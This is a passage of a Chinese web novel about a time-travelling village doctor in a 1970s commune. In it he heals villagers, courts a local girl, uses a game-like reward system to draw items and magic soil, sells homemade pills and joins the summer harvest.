林展堂铁青着脸跟在后面,听了这话更是火冒三丈,只当婆娘还在找借口闹事。 一个响亮的耳光甩在王冬梅脸上。 “你还要不要脸!嫌今天丢人丢得不够是吧!”林展堂气得浑身发抖,“要不是顺子大了,我今天非打断你的腿!” 王冬梅被这一巴掌打懵了,捂着脸,嘴里的剧痛和心里的委屈交织在一起,眼泪哗哗地往下流。 她不就是想给家里多争点好处吗?怎么就成了全家的罪人? 林顺子叹了口气,放缓了语气:“娘,你以后可千万别得罪江神医了。 先不说人家是咱们公社的救命菩萨,万一往后咱家谁有个头疼脑热的,人家记恨你,不给咱治,那可咋办?” 这话算是说到了点子上。 王冬梅不嚎了,她再浑,也知道命比钱重要。 她忍着剧痛,拉着儿子的袖子,呜咽着:“顺子……我的嘴……真的好疼……你去……去求江神医给我拿点药……” 另一边,风波平息,分肉的队伍重新排好。 李有柱走到江沐身边,有些不好意思地搓着手:“江知青,让你看笑话了。王冬梅就是那么个玩意儿,你别往心里去。” 江沐淡然一笑,他压根就没把这种跳梁小丑放在心上。 “李队长,一个大队几百口人,出那么一两个拎不清的也正常,我没事。” 他的从容淡定,让李有柱越发高看一眼。这城里来的文化人,不光本事大,心胸也宽广! 最后,江沐分到了足足四斤最好的豹子肉,豹骨也被他仔细剔了出来,用麻袋装好。 他拎着沉甸甸的肉,又看向那张油光水滑的豹皮,扭头问李有柱。 “李队长,这豹子皮,队里有会硝制的人吗?” 李有柱闻言,布满沟壑的老脸顿时一窘,挠了挠后脑勺,嘿嘿干笑两声。 “硝制?那可是个精细活儿,我们这些大老粗哪会摆弄那个。这皮子金贵,可不敢给你弄坏了。” 他也是个实诚人,不会就是不会,绝不打肿脸充胖子。 正当江沐略感失望之际,高志强走了过来。 “小江,你婶子会!”他声音不大,但在这相对安静的氛围里却格外清晰,“她娘家爹就是老皮匠,她跟着学过几年,手艺好着哩!” 江沐眼睛一亮。 第40章 集中精神,来一发入魂 “那太好了!高书记,能不能麻烦你带我过去问问婶子?” “欸!欸!能!咋不能呢!”高志强连声应着,脸上乐开了花。 江沐跟李有柱打了声招呼,便拎着豹骨,让高志强扛着那张硕大的豹皮,两人一道往高志强家走去。 高家土坯房里,油灯如豆。 “翠萍,快别忙活了!”高志强献宝似的把豹皮往地上一放,“这是小江打的豹子!他想请你帮忙,把这皮子硝了,做成一张毯子。” 刘翠萍连忙拒绝 “我可不敢接。小江,这金钱豹的皮子太金贵了,万一硝坏了,可怎么办!” 江沐看出了她的顾虑,温和地笑了笑:“婶子,您别担心。您就放开手脚干,工钱我另外算,绝不让您白忙活。” “那更不行了!白给我钱我都不能干,这责任太大了!” 江沐沉吟片刻,心中有了计较。 “要不这样吧,婶子,”他换了个说法,“您就当帮我个忙,先硝着。至于工钱的事,等毯子做成了,咱们再看东西说话,行不?” 刘翠萍犹豫了半晌,终于一咬牙,点了点头。 “那……那我就试试。不过小江你可说好了,万一……万一真坏了,你可不能怨我。” “放心吧,婶子。”江沐心中一松。 事情谈妥,刘翠萍热情地要去给江沐煮一碗荷包蛋,江沐连忙拦住。 “嫂子别忙了,我刚从山里回来,挖的几株草药还没处理,得赶紧回去收拾一下,不然药性就跑了。” 一听是正事,刘翠萍也就不再强留。 夜风清凉,吹散了白日的燥热,也吹散了分肉时的喧嚣。 刚走到村口的大槐树下,一个身影就急匆匆地从暗处蹿了出来,差点撞在江沐身上。 “江……江神医!” 来人正是王冬梅的儿子林顺子。 “江神医,求求您,救救我娘吧!”林顺子带着哭腔,话都说不利索了,“她……她回家之后,嘴里就跟烧了火一样,疼得满地打滚,话都说不出来了!” 江沐心里跟明镜似的,面上却不动声色,微微蹙眉:“哦?这么严重?带我去看看?” 哼,这一顿教训,看来是给足了。 “不用不用!”林顺子连连摆手,“给她开点药吧!” 江沐语气平淡,“你在这等我,我去卫生所给你拿药。” 片刻后,江沐从卫生所里出来,递给林顺子一个用油纸包好的小包。 “这里面是药粉,回去让你娘用温水化开,别急着咽,含在嘴里,越久越好,至少要含上一刻钟再吐掉。一天三次,明早应该就能好转。” “欸!欸!谢谢江神医!谢谢江神医!”林顺子捧着药包,对着江沐连连鞠躬,然后一溜烟地跑回了家。 希望这一次,能让你真正长点记性。 回到自己的小屋,江沐关好门,点亮煤油灯。 他将剔得干干净净的豹骨敲碎,与处理好的药材一同放入鼎中,再倒入高度数的白酒,以文火慢慢熬制。 很快,一股浓郁的酒香混合着奇异的药香,在小屋中弥漫开来。 这豹骨酒不仅能强筋健骨,活血化瘀,更是大补元气的良药。 …… 次日清晨,江沐是被一连串的系统提示音唤醒的。 【叮!收到来自王冬梅的强烈悔恨与敬畏,声望值+150!】 【叮!收到来自林顺子的极度感激,声望值+100!】 …… 【当前声望值结余:980点。】 江沐睁开眼,眼中闪过精光。 一夜之间暴涨三百点声望,距离下一次激动人心的十连抽,只差最后二十点! 他心情大好地来到卫生所,拿出水果糖,小孩都发了一颗。 【叮!收到来自狗蛋的快乐,声望值+2!】 【……】 很快,二十点声望值便凑齐了。 【当前声望值结余:1000点。】 一千点!又可以来一次十连抽了! 江沐强压下内心的激动,他打算等晚上夜深人静的时候,集中精神,来一发入魂。 下午,卫生所里闲了下来。 江沐搬了个木桩到院子里,拿出银针,对着木桩练习起了针法。 就在江沐沉浸在自己的世界里时,院门口传来了熟悉的呼喊声。 “江知青!江知青你在不?” 是张兰的声音。 江沐收起银针,抬头望去,只见张兰正领着张小月过来。 “兰婶,小月,你们怎么来了?”江沐有些意外。 张兰瞪了他一眼把张小月往前一推,扬了扬手里的一个布包,“小月她娘惦记着你,说马上要抢收了,到时候下地一忙就没工夫。这不,紧赶慢赶,把给你的鞋做好了,让小月给你送过来。” 江沐心中一暖,接过布包打开,里面是一双崭新的千层底布鞋,针脚细密,做工扎实,一看就下了大功夫。 “婶子,这……这太麻烦你们了。” “麻烦啥!你救了我们全公社多少人?一双鞋算啥!” “哎哟,我想起来灶上还炖着东西呢!可别糊了锅!”她一拍大腿,急匆匆地往外走,“小月,你跟江知青好好聊聊,替我多谢谢他!我先走了啊!” 话音未落,人已经风风火火地出了院子,只留下江沐和张小月两人。 还是江沐先开了口,他掂了掂手里的布鞋,真诚地望着她:“小月,谢谢你,还特意跑一趟。” 张小月的脸颊泛起红晕,低着头,声音细若蚊蚋:“不……不客气的。江大哥你……你平时工作也辛苦。” 眼看张小月要走,江沐忽然想起了什么,转身进了药房,拿出一叠他自制的膏药。 “这个你带回去,抢收时累着了,腰酸背痛,贴上一贴,第二天保管你舒坦。” “这咋好意思……”张小月连忙推辞。 “拿着吧,又不是什么金贵东西。”江沐不容分说地塞到她手里,目光不经意间扫过她揉捏自己胳膊的细微动作,“怎么了?胳膊不舒服?” “没……没事。”张小月想把手藏到身后,却被江沐抓住了手腕。 “别动,我看看。” 他的语气带着一种不容置疑的温和。 张小月只觉得脸上一热,心跳如鼓,乖乖地不再动弹。 江沐的手指在她纤细的胳膊上轻轻按压,从肩膀到手肘,动作专业而轻柔。 当他按到她的小臂时,张小月抽了口凉气。 “是这里疼?” “嗯……这两天抡镰刀,也不知道咋回事,一用力就疼。” “小问题,关节有点错位了。”江沐微微一笑,左手托住她的手肘,右手拇指在她手臂上一个穴位轻轻一按,随即手腕猛然发力,只听一声微不可闻的轻响。 整个过程快如闪电,张小月还没反应过来,江沐已经松开了手。 “好了,你再动动看。” 张小月将信将疑地活动了一下胳膊。 她惊喜地瞪大了眼睛,看着江沐,那双明亮的眸子里,满是不可思议和崇拜。 “欸?真……真的不疼了!” 第41章 江大哥,小月姐姐是你媳妇儿吗 江沐淡然一笑,“这叫正骨,老祖宗传下来的东西,算不得什么稀奇。” 张小月却不这么认为,她歪着头,乌黑的麻花辫随着动作轻轻晃动,眼神里带着少女特有的娇憨与好奇,“江大哥,到底有啥是你不会的?” 她扳着手指头数落着:“你会看病,会打针,会接生,还会打那么大的豹子,现在连胳膊都能一下就弄好……你简直比我们公社戏文里唱的活神仙还厉害!” 江沐被她这副天真烂漫的模样逗笑了,正要谦虚两句,一个小小的身影跑了过来,是村里的淘气包狗蛋。 “江大哥!江大哥!给你吃!” 狗蛋黢黑的小手高高举着,手里捏着一根小树枝,树枝上穿着一只被火燎得焦黑的知了,正散发着一股奇异的蛋白质焦香。 江沐眼角微抽,看着那黑乎乎的美食,委婉地摆了摆手,“狗蛋,谢谢你,大哥刚吃过饭,这个你自己吃吧。” “可香了!”狗蛋砸吧砸吧嘴,随即又想起什么,压低声音,神秘兮兮地凑过来,“江大哥你放心,我是在河滩那边的沙地上烧的,我爹说了,不能在草堆边上玩火,不然要烧屁股哩!” 江沐赞许地摸了摸他的头,“这就对了,玩火可得小心。” 狗蛋得了夸奖,美滋滋地跑开,去找别的小伙伴分享他的战利品去了。 张小月看着江沐和孩子们熟稔的互动,嘴角不自觉地弯起一个温柔的弧度,“江大哥,你好像很喜欢小孩子?” 江沐的目光追随着那群疯跑的身影,眼神柔和了几分,“谈不上特别喜欢,只是他们整天在卫生所门口,处久了,倒也习惯了。” 他的语气平淡,却透着连他自己都未曾察觉的温情。 眼看太阳偏西,橘红色的光晕染了半边天,张小月有些不舍地开口:“天不早了,江大哥,我……我得回家了。” “我送你。”江沐几乎是脱口而出,他随即找了个完美的理由,“正好,我昨天打了豹子,分了些肉,给你家送点过去尝尝鲜。那豹骨我都拿来泡酒了,肉留着也是留着。” 张小月的脸颊飞上两朵红霞。 他……他这是特意要送自己吗?还找了这么个由头。 她心里甜得像是吃了蜜,那份崇拜之中,又多了几分说不清道不明的少女情愫。 两人刚走出卫生所的院子,还没走几步,就被一群玩闹的孩子们给围住了。 “江大哥!江大哥!” “小月姐姐!” 孩子们七嘴八舌地嚷嚷着,狗蛋更是人小鬼大,指着并肩而行的两人,扯着嗓子喊:“江大哥,小月姐姐是你媳妇儿吗?” 张小月窘迫地低下头,恨不得找个地缝钻进去,心脏却不争气地狂跳,耳朵竖得高高的,她也想听听,江沐会怎么回答。 江沐显然也没料到这帮小屁孩如此直接,他先是一愣,随即无奈地笑了,挨个在几个小脑袋上敲了一下。 “胡说八道什么呢?一个个不好好回家吃饭,在这儿瞎嚷嚷,小心晚上大马猴来抓你们!” 他没有承认,却也没有否认,只是用一个孩子们都怕的传说,轻描淡写地将话题岔开,把那群小家伙唬得一哄而散。 张小月的心里,有点说不出的失落。 两人沉默地往江沐的小屋走去,空气中弥漫着微妙的尴尬。 就在快到江沐家时,张小月像是鼓起了毕生所有的勇气,突然停下脚步,低着头,声音细若蚊蚋,却字字清晰。 “江大哥……我们……我们这算是在处对象吗?” 问出这句话,她感觉自己的脸已经烫得可以烙饼了,心跳声在寂静的乡间小道上,响得她自己都听得一清二楚。 江沐也停下了脚步,他侧过身,看着眼前这个羞得快要将头埋进胸口的姑娘。 他没有丝毫犹豫,声音清朗而坚定,带着一种足以安抚人心的力量。 “当然。” 一股巨大的喜悦像是决堤的洪水,瞬间填满了张小月的心房,让她晕乎乎的,连脚下的路都踩得有些发飘。 他承认了!他承认了! 江沐从屋里取出一块用油纸包好的豹子肉,足有两斤,然后推出了他那辆崭新的凤凰牌自行车。 “上来吧,我载你回去。” 张小月坐在自行车后座上,双手紧张地攥着衣角,不敢去抱江沐的腰。 她的心,前所未有的安宁与雀跃。 到了张小月家,院子里静悄悄的,她爹娘还没从地里回来。 “江大哥,进来喝口水吧。”张小月的声音里带着不易察觉的雀跃。 江沐没有推辞,将车停好,跟着她进了屋。喝着碗里清甜的井水,看着张小月忙前忙后的身影,他心中一片柔软。 “马上就要双抢了,”张小月端着水碗,眼神里流露出惋惜,“到时候天不亮就要下地,天黑透了才能回来,怕是……怕是没空再来找你了。” “没关系。”江沐放下碗,目光温柔地注视着她,“地里的活要紧,你别累着自己。等双抢结束,我去找你。” 一句我去找你,胜过千言万语。 张小月重重地点了点头,眼眶微微有些发热。 告别了张小月,江沐骑着车往回走,心中同样激荡不已。 回到卫生所,院子里那群孩子还没散,看到江沐的自行车,立刻像发现了新大陆一样围了上来,新奇地推着玩。 江沐看着他们兴奋的样子,只是笑着嘱咐了一句:“慢点推,小心别把手脚给夹了。”便随他们去了。 不一会儿,社员们扛着锄头,拖着疲惫的身体陆续下工回来。 当他们看到自家孩子正围着那辆崭新锃亮的自行车推来搡去时,一个个脸色大变。 “狗蛋!你个兔崽子!给老子滚过来!”一个壮汉吓得魂飞魄散,抄起扁担就要冲过去,“那金贵东西是你能碰的吗?碰坏了把你卖了都赔不起!” “二妮!你不想活了!还不快撒手!”一个妇人也尖叫起来,冲上去就要拧孩子的耳朵。 这可是自行车啊! 整个公社都没几辆的宝贝疙瘩! 磕了碰了,那还了得! 孩子们吓得哇哇大哭,场面顿时一片混乱。 就在这时,江沐从屋里走了出来,眉头微皱,声音不大,却清晰地传到每个人耳朵里。 “行了,都住手。” 他走到那壮汉面前,伸手拦住了他高高扬起的扁担。 “孩子玩玩而已,坏不了。是我让他们玩的。” 第42章 是时候,来一波大的了! 江沐摆了摆手,正准备回屋,院子口的方向却突然传来一阵凄厉的哭喊。 “江医生!江医生救命啊!” 众人循声望去,只见马三娘披头散发,怀里紧紧抱着一个孩子,连滚带爬地冲了过来。 跟在她身后的,还有孩子的娘姜曼云和爹刘柱子,两人同样是面无人色,六神无主。 江沐心中一凛,大步迎了上去,“马大娘,出什么事了?慢点说!” “水生!我家水生啊!”马三娘跑到跟前,腿一软就差点跪下,哭得上气不接下气,“他……他下午爬树掏鸟窝,从树上摔下来了!胳膊……胳膊好像断了!” 江沐的视线立刻落在了她怀里的孩子——刘水生身上。 那孩子不过七八岁的年纪,此刻一张小脸惨白如纸,他的右臂以一个极其诡异的角度耷拉着,显然是已经骨折了。 “挺了一下午了,”姜曼云在一旁泣不成声,“我们以为歇歇就好,谁知道越来越肿……江医生,求求你,你一定要救救我家水生啊!” “别急,让我看看。”江沐的声音沉稳如山,瞬间成了这一家人的主心骨。 他的手指轻柔而专业地在刘水生肿胀的手臂上触摸、按压。 “水生,看着我。”江沐的目光清澈而坚定,直视着孩子的眼睛,“男子汉大丈夫,流血不流泪,这点疼算什么?忍住了,你就是村里最勇敢的娃!” 刘水生被那双眼睛注视着,竟真的忍住了即将夺眶而出的眼泪,“江……江大哥……疼……” “我知道疼。”江沐的语气柔和下来,“很快就不疼了。” 检查完毕,他站起身,神情严肃,“肱骨中断处骨折,错位了,得马上正过来,不然这胳膊以后就废了。” “废了?!”马三娘和姜曼云听到这两个字,眼前一黑,差点晕厥过去。 刘柱子这个庄稼汉子更是急的不行,“江医生,你就是我们的再生父母,求你一定把我儿子的胳膊接上啊!” 江沐眉头一皱,“钱的事以后再说!柱子哥,你过来,按住水生的肩膀和身体,别让他乱动。我先给他扎两针止痛,然后就把骨头接上。” 一听说要扎针,刚刚还强忍着痛楚的刘水生崩溃了,拼了命地挣扎起来,“我不要打针!我不要打针!娘!奶奶!我怕!” “水生!”江沐的声音陡然提高,却并不严厉,反而带着一种奇特的引导性。 “看着我的手,现在闭上眼睛,听我的口令,从一数到十,等你数到十,大哥保证,一切就好了,一点儿也不疼了。” 刘水生哭声渐歇,半信半疑地抽噎着。 “来,闭眼。我们开始。” 刘水生下意识地闭上了眼睛,长长的睫毛上还挂着泪珠。 “一……”他用带着浓重鼻音的声音,颤巍巍地开始了。 就在他数出第一个数字的瞬间,江沐动了! 他的手腕一翻,数根银针已经如同闪电般刺入了水生手臂的几处穴位。 紧接着,他双手握住那条错位的手臂,一托、一拉、一旋! “二……三……” 一声清脆的骨骼复位声响起,轻微,却清晰地传入了每个人的耳朵里。 “……十!”刘水生终于数完了最后一个数字。 他紧张地睁开眼,却发现预想中的剧痛并没有到来,而原本剧痛难忍的胳膊,此刻只剩下一种酸胀感。 江沐已经麻利地用夹板和绷带将他的手臂固定好了。 【叮!成功完成一次高难度正骨复位,救治了骨折患者,获得周围群众的敬佩,声望值+5!】 “好了。”江沐拍了拍手,额角也渗出了一层细密的汗珠,“这一个月,这条胳膊千万不能再用力了,好好养着,骨头长住了就没事了。” 刘柱子一家人全都看傻了。 这就……好了? 反应过来的刘柱子激动得浑身发抖,从兜里掏出一把钞票,一股脑地就要往江沐手里塞,“江医生!大恩不言谢!这点钱你务必收下!” 江沐手一挡,将钱推了回去,脸上带着一丝不容拒绝的坚定,“柱子哥,你这是看不起我江沐?乡里乡亲的,搭把手是应该的。把钱收回去,给孩子买点好吃的补补身子。” 这一番话,说得刘柱子眼圈一红, 马三娘和姜曼云更是对着江沐千恩万谢。 【叮!获得刘柱子的极度感激,声望值+3!】 【叮!获得马三娘的极度感激,声望值+3!】 【叮!获得姜曼云的极度感激,声望值+3!】 送走了感激涕零的一家人,江沐拖着疲惫的身体回到自己的小屋,锁上了门。 他唤出系统界面,看着右上角已经累积到1014点的声望值,心中一阵火热。 是时候,来一波大的了! “系统,来个十连抽!” 江沐深吸一口气,双手合十,嘴里念念有词,表情无比虔诚,“太上老君,三清道祖,玉皇大帝,王母娘娘……保佑我一发入魂,来个金色传说!” 【叮!消耗1000点声望值,十连抽开始!】 他眼前光芒大作,十个光团接连飞出,最终悬停在半空中。 光芒散去,露出了里面的物品。 六道白光,四道蓝光。 “……”江沐的嘴角狠狠抽搐了一下。 【获得:红星二锅头一瓶】 【获得:大白兔奶糖一斤】 【获得:上海牌香皂一块】 …… 六个白色物品,全是这个时代的日用品,虽然也算实用,但对他而言,跟垃圾没什么区别。 “亏了!血亏!”江沐捶了一下床板,目光投向了那四个散发着蓝色光芒的物品,这才是他最后的希望。 第一个光团散去,露出了一只精巧的女士手表,银色的表链在灯光下熠吟生辉。 “嗯?这个不错,以后可以送给小月。”江沐的心情稍稍平复。 第二个光团,竟然是一台……液晶电视?!薄薄的屏幕,充满了未来科技感,在这间土坯房里显得格格不入。 江沐眼皮狂跳,这玩意儿现在拿出来。 第三个光团,是一块悬浮的黑色泥土。 【获得:一亩黑土地】 没有过多赘述,如今的江沐不太需要。 他将目光看向最后一个蓝色光团。 【获得:强化卡(蓝)x1:可对一件系统出品的道具进行强化,提升其原有效果。】 强化卡! 江沐毫不犹豫地从系统空间中取出了那尊古朴的青铜小鼎。 这是他炼药的根本,也是他安身立命的至宝! “系统,对青铜鼎使用强化卡!” 【叮!是否确认对青铜鼎(凡品)使用强化卡?】 “确认!” 话音刚落,那张蓝色的卡片化作一道流光,瞬间没入了青铜鼎之中。 只见小鼎周身青光大盛,光芒散去,鼎身似乎变得更加深沉厚重。 【叮!青铜鼎强化成功!炼药效果提升30%!】 第43章 黑土地的效果,竟然恐怖如斯 没有金色传说,连个紫色史诗都没有,这次十连抽的运气确实算不上好。 但做人得知足,那块一亩黑土地和强化卡,已经是寻常人想都不敢想的至宝。 尤其是这强化后的青铜鼎,炼药效果提升三成,这可不是一加一等于二那么简单,而是质的飞跃! 他将那台格格不入的液晶电视和女士手表一股脑收回系统空间,眼下还不是它们登场的时候。 借着窗外朦胧的月色,江沐悄无声息地推开后门,来到了卫生所后院那片荒废的菜园子。 夜风微凉,吹得四周的草丛沙沙作响。 他没有丝毫犹豫,抄起墙角的铁锹,选了块最平坦的空地,便开始动手。 铁锹翻飞,泥土被一块块地抛出。这具身体虽然经过几次强化,但长时间的体力劳动还是让他额头沁出了细密的汗珠。 一个多小时后,一个半米深、面积巨大的坑终于出现在眼前。 江沐心念一动,沟通系统。 “填充黑土地!” 下一秒,奇迹发生了! 那块悬浮在系统空间中的黑色泥土凭空出现在大坑之中,并以肉眼可见的速度延展开来,精准地填满了每一寸空间。 没有声音,没有光效,仿佛它本就该在那里。 一股混杂着草木清香的泥土气息扑面而来,与周围贫瘠的黄土地截然不同,充满了生命的气息。 江沐抓起一把,那土质松软肥沃,油光乌亮。 他满意地点了点头,又将挖出来的黄土薄薄地盖在最上层,做了个伪装,这才拖着疲惫的身体回屋睡去。 第二天日上三竿,江沐才悠悠醒来。 简单对付了口早饭,他径直走向隔壁邻居赵文家。 “哎哟,江医生!稀客啊!快屋里坐!”赵文正蹲在门口编筐,看到江沐,立马热情地站起来拍打着身上的草屑。 “赵大哥,不进去了,我就是来问问,你家还有没有多余的菜籽?”江沐开门见山。 “菜籽?”赵文一愣,随即一拍大腿,“有啊!那玩意儿多的是!你要种菜?后院那片地可不好伺候,板结得厉害。” “我就是闲着没事,随便种种。” “等着!”赵文二话不说,转身就钻进了屋里,很快就捧着好几个用布包着的小包出来。 “江医生你看,这是白菜的,这是萝卜的,还有黄瓜、豆角……你都拿去!不够我再给你找!” 江沐每样都抓了一些,“够了够了,多谢赵大哥。” “谢啥!走,我帮你去种上,侍弄庄稼我可是把好手!”赵文说着就要去拿锄头。 “不用麻烦了赵大哥,我自己来就行。”江沐连忙拦住他。 赵文见他坚持,也不好再说什么,只是一个劲地叮嘱他种菜的诀窍。 江沐揣着菜籽回到院子,吃过午饭小憩片刻,便来到那片被他改造过的宝地,小心翼翼地将种子分门别类地种下,又从井里打了水,细细浇了一遍。 做完这一切,他才施施然去了卫生室。 下午倒是清闲,只来了两个头疼脑热的村民,江沐开了些自己采的草药,嘱咐几句便打发了。 次日清晨,天刚蒙蒙亮,江沐习惯性地起身来到后院。 可当他的目光扫过那片菜地时,整个人都僵住了! 只见那片昨天才播下种子的土地上,竟然已经冒出了一片片细密鲜嫩的绿芽! 白菜、萝卜、黄瓜……全都破土而出,生机勃勃,比别人家种了快一个星期的苗还壮实! “这……”江沐的心脏狂跳起来。 黑土地的效果,竟然恐怖如斯! 一个疯狂的念头如同闪电般划过他的脑海。 如果种菜都能这样,那要是种上珍贵的药材呢? 这个想法一旦出现,便再也抑制不住! 他立刻唤出系统商城,目光在药材种子一栏飞速扫过。 【人参种子(凡品):2点声望/粒。】 “兑换三十粒!” 【叮!消耗60点声望,获得人参种子x30。】 江沐毫不犹豫地在菜地最角落,开辟出了一块专属的药园,将这三十粒承载着巨大希望的种子,小心翼翼地埋了进去。 忙完这些,他又去检查了前些天晾晒的草药,经过几天的风干,药性已经完全锁住,可以用来炼丹了。 昨天孙阳捎信过来,说县里好几个人都在打听他的滋补丹,催得紧呢。 第三天一早,江沐再次来到后院。 菜园里的幼苗已经蹿高了一大截,绿油油的惹人喜爱。 而那片药园里,几点微不可查的嫩芽也已经顶破了土层,露出了小小的脑袋! 江沐深吸一口气,眼神灼热。 是时候了! 他将所有晾干的药材搬回屋里,锁好门窗,取出了那尊强化过的青铜小鼎。 生火,投药! 这一次炼制,江沐明显感觉到了不同。 同样的药材,投入鼎中后,药性被提炼的速度快了不止一筹,药液的精纯度更是远超以往。 原本需要一个小时才能完成的步骤,现在四十分钟就绰绰有余! 当最后一炉丹药出炉,江沐清点了一下成果,饶是他心性沉稳,也不禁倒吸一口凉气。 整整一千一百颗! 比上次足足多出了一百颗,而且每一颗丹药都更加圆润饱满,药香也愈发浓郁。 他将丹药分装好,留下一部分,跨上自行车,直奔公社大院。 “周书记!”江沐在书记办公室找到了正在看文件的周志康。 周志康抬头一看是他,立刻笑了起来,“小江来啦!快坐!看你这满面红光的样子,是不是又有什么好事?” 江沐也不废话,从兜里摸出一个小瓷瓶递过去,“周书记,上次的药您吃着还行吧?这是新炼的,您留着。” 周志康打开闻了闻,那股提神醒脑的药香让他精神一振,他也不客气,收下了。 “你这可是及时雨啊!对了,县里武装部的沈焱沈部长,托我跟你问问,他也想要五十颗,你看……” “没问题。”江沐又拿出另一个装了五十颗的瓶子递过去。 周志康接过,从抽屉里数出十张大团结,塞到江沐手里,“一百块,你点点。” 江沐揣起钱,心里一阵火热。 这赚钱的速度,简直了! 告别周志康,他又找到了公社卫生院院长孙志。 “江老弟!你可算来了!”孙志一见他,跟见了亲人似的,把他拉到没人的角落。 江沐将一个装了五十五颗药丸的瓶子塞给他,“孙院长,五十颗是你要的,另外五颗是送你的。” 第44章 双抢正式开始 孙志一把攥住他的手腕,却难掩激动,“你再不来,我这的门槛都要被踏破了!” 他小心翼翼地将瓷瓶揣进内兜,拍了拍,这才松了口气,随即又凑近了些,神秘兮兮地问。 “江老弟,你这滋补丹,效果简直神了!我那几个老伙计,吃了你给的样品,一个个跟换了个人似的,天天缠着我。你跟我交个实底,手里还有没有别的方子?比如……壮骨的,明目的?” 孙志的眼神里充满了期待。 江沐心中一动,面上却露出几分为难之色,轻轻叹了口气,“孙院长,不是我藏私。你也知道,炼药这东西,最讲究药材。 有些珍稀的药草,别说咱们公社,就是跑到县里药材公司都未必能找着。 我这滋补丹,已经是用了九牛二虎之力才凑齐的药材。巧妇难为无米之炊啊!” 这番话说得滴水不漏,既抬高了滋补丹的价值,又为将来推出新品种留下了余地。 孙志闻言,脸上闪过失望,但很快又释然了。 他用力一拍江沐的肩膀,“我懂!我懂!这事儿急不来。江老弟你放心,以后有什么需要的药材,尽管跟我开口,我帮你留意着!这五十颗的钱你拿着,一百块,一分不能少!” 说着,他从另一个兜里掏出厚厚一沓大团结,硬是塞进了江沐的口袋。 从卫生院出来,江沐骑在自行车上,感受着口袋里那二百块钱沉甸甸的分量,嘴角不由自主地向上扬起。 二百块! 这几乎是城里一个正式工大半年的工资了! 自己手里还剩下近千颗丹药,这简直就是一座移动的金矿! 他不禁在心里给自己点了个赞,穿越到这个年代,能凭本事混到这个地步,自己也算是个人物了。 回到村里,气氛明显和往日不同。田埂上,地头边,到处都是三三两两聚在一起的社员,脸上带着紧张和期待。 地里的麦子已经彻底变成了金黄色,沉甸甸的麦穗压弯了腰,风一吹,便掀起滚滚的金色麦浪。 傍晚时分,队长李有柱敲响了村头的老钟,召集大家开会。 “都听好了!”李有柱站在一块大石头上,嗓门洪亮,带着一股不容置疑的威严,“今年的麦子长势好,大家伙儿都辛苦了!明后两天,都给我在家好好歇着,养足精神!大后天一早,双抢正式开始!” 人群中发出一阵嗡嗡的议论声。 李有柱清了清嗓子,继续安排工作,当念到江沐的名字时,他顿了一下,“江沐,你是咱们队的医生,金贵着呢,割麦子这种粗活就不用你干了。你跟着刘树林大爷,负责赶牛车,往碾场里运麦子!” 此话一出,知青点那几个和江沐一起来的年轻人,眼神里顿时充满了毫不掩饰的羡慕嫉妒。 谁都知道,运麦子可比弯着腰在地里割麦子轻松太多了,那简直就是个美差! 然而,村里的社员们却没一个有意见的,反而都觉得理所应当。 “队长安排得对!江医生可不能累着!” “就是,谁家没个头疼脑热的?还得指望江医生呢!” 这段时间,江沐不仅免费给大伙儿看病,口袋里还总装着糖,见了村里的孩子就发上一颗,人缘好得不得了。 村民们的心思单纯又朴实,谁对他们好,他们就记在心里。 李有柱满意地点点头,大手一挥,“行了!都散了吧!负责做饭的几个婆娘留下,其他人回家歇着去!” 两天后,天还没亮透,江沐就来到了村西头的牛棚。 昏暗的油灯下,一个瘦高的老人正慢条斯理地给一头老黄牛上着牛套。 他便是刘树林,因为早年腿受过伤,走路有点跛,干不了重活。 “刘大爷,我来吧。”江沐快步上前。 刘树林抬起布满皱纹的脸,咧嘴一笑,露出满口黄牙,“江医生来啦。都弄好了。你会赶车不?” 江沐有些不好意思地摇摇头。 “没事,我教你。”刘树林将手里的缰绳递给他,耐心地讲解起来。 “这牛啊,通人性!你喊驾,它就走;想让它拐弯,就轻轻拉这边或者那边的绳子;喊吁,它就停,别使蛮劲,得跟哄孩子一样。” 江沐学着刘树林的样子,握住缰绳,试探着喊了一声,“驾!” 老黄牛果然听话地迈开了步子,拉着空荡荡的板车缓缓向前。 缰绳在手,有种沉甸甸的实在感,这可比后世开车有意思多了。 江沐心里觉得新奇,脸上也露出了兴奋的神色。 到了村口,李有柱正叉着腰,对着准备下地的社员们大声鼓劲。 “都给老子听着!双抢就是跟老天爷抢粮食!手脚都麻利点,别磨磨蹭蹭的!谁要是不小心受了伤,别硬撑着,赶紧找江医生!耽误了双抢,我扒了他的皮!” 一声令下,众人扛着镰刀,浩浩荡荡地奔赴麦田。 割麦子的社员们动作飞快,镰刀挥舞间,一排排麦子应声倒下。 很快,码放整齐的麦捆就堆成了一座小山。 江沐和刘树林将牛车赶到地头,众人七手八脚,不一会儿就把车装得冒了尖。 回去的路上,有一段长长的上坡。 老黄牛累得气喘吁吁,四蹄奋力刨着黄土路,车轮却走得极为缓慢。 “我来推!”江沐二话不说,跳下车辕,走到车后,用肩膀死死抵住车尾。 刘树林也拄着一条好腿,在旁边使劲。 一人一牛一瘸叟,硬是把这满车金黄的希望,一寸寸地推上了坡顶。 村里的碾场上,一片金色的海洋。 早就在那儿等着的一群老人,看到牛车过来,立刻精神抖擞地拿着木叉迎了上来。 “卸这儿!卸这儿!” 麦子倾泻而下,转眼又堆成了一座新的麦山。 江沐拍了拍手上的麦糠,正准备赶车再回地里,一张兰快步拦住了他,递过来一个粗瓷大碗。 “江医生,辛苦啦!喝口水!”张兰笑得一脸淳朴,“你赶紧回地里跟队长说一声,饭已经做好了,让大伙儿回来吃饭!” 第45章 你这些我全要了 “好嘞,张兰婶子,我这就去!”江沐抹了把嘴,冲张兰点了点头,转身便朝着地里跑去。 地头,李有柱正赤着膀子干活。 “队长!”江沐的声音穿过割麦声,“张兰婶子喊大家伙儿回去吃饭了!” 李有柱直起腰,用胳膊擦了一把脸上的汗,铜锣似的大嗓门吼了起来,“收工!都给老子滚回去吃饭!吃饱了才有力气跟老天爷抢粮食!” 一声令下,田地里顿时响起一片欢呼,社员们纷纷扔下镰刀,三三两两地朝着村子走去,脸上挂着疲惫,眼里却闪着光。 饭食就摆在碾场上。 一大锅土豆白菜炖猪肉,飘着勾人的香气,旁边是堆成小山一样的白面馒头。 对于这个年代的农村来说,这绝对算得上是犒劳的硬菜了。 张兰婶子麻利地给他盛了一碗,又用筷子从锅底捞出几大块肥瘦相间的肉,堆得碗尖都冒了油光。 “江医生,你斯文,干活却是实在人。多吃点,看你瘦的!不够锅里还有,婶子给你留着呢!” 江沐心中一暖,也没客气,埋头大口吃了起来。 